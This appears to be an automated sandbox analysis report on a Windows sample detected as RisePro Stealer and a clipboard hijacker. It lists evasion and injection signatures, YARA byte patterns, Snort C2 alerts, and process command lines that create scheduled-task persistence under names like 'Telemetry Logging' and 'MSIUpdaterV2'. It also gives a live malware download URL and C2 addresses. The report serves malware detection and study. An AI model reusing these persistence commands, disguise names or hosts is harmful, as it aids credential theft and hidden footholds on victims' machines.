Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1446851
MD5:	ee40081ecc9d262a6afb70e92d9092f2
SHA1:	4a6d1f93c7e2907e985ba305f9a23a1ff1e413c2
SHA256:	44f26c626214bd52d8f3b60c149ff03eaeb8d31ae552b3140c666680d9bf096d
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to inject threads in other processes

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4268 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EE40081ECC9D262A6AFB70E92D9092F2)

RegSvcs.exe (PID: 7008 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 4944 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

schtasks.exe (PID: 7132 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6020 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

q2xutezn4kFdLk2viqDb.exe (PID: 1608 cmdline: "C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 7116 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 4048 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 4268 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 1196 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

oobeldr.exe (PID: 736 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 3004 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 5548 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 6596 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

EdgeMS2.exe (PID: 6552 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 4268	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 4944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
22.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
22.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
22.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
18.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
18.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
18.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
21.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
21.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
21.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
9.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
15.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
7.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
7.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
7.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4268, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 7008, ProcessName: RegSvcs.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 4944, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 4944, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe, ParentProcessId: 1608, ParentProcessName: q2xutezn4kFdLk2viqDb.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 7116, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.4

Timestamp:	05/23/24-23:33:01.044471
SID:	2046266
Source Port:	50500
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 185.172.128.136

Timestamp:	05/23/24-23:33:07.849352
SID:	2046269
Source Port:	49730
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.4

Timestamp:	05/23/24-23:33:14.719693
SID:	2046266
Source Port:	50500
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.4 - Destination IP: 185.172.128.136

Timestamp:	05/23/24-23:33:02.973535
SID:	2046268
Source Port:	49730
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 185.172.128.136

Timestamp:	05/23/24-23:33:00.476492
SID:	2049060
Source Port:	49730
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 185.172.128.82

Timestamp:	05/23/24-23:33:06.681318
SID:	2019714
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN RisePro CnC Activity (Outbound) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.4

Timestamp:	05/23/24-23:33:13.613905
SID:	2049660
Source Port:	50500
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.4

Timestamp:	05/23/24-23:33:01.285787
SID:	2046267
Source Port:	50500
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.172.128.82/server/k/l2.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFADD20 CryptReleaseContext,	0_2_6CFADD20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFADEE0 CryptReleaseContext,	0_2_6CFADEE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFADE00 CryptGenRandom,__CxxThrowException@8,	0_2_6CFADE00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAD9D0 CryptAcquireContextA,GetLastError,	0_2_6CFAD9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFADBB0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,	0_2_6CFADBB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD35E0 CryptReleaseContext,	0_2_6CFD35E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAD7F0 CryptReleaseContext,	0_2_6CFAD7F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAD7D3 CryptReleaseContext,	0_2_6CFAD7D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C6B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,	2_2_004C6B00

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49732 version: TLS 1.2

Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: file.exe, 00000000.00000002.1650745382.0000000005238000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1659746305.0000000005A30000.00000004.10000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000050AD000.00000004.00000800.00020000.00000000.sdmp, Protect544cd51a.dll.0.dr
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: file.exe, 00000000.00000002.1646603659.0000000000414000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: file.exe, 00000000.00000002.1659746305.0000000005AEA000.00000004.10000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.0000000004FDF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.000000000516A000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004C6000
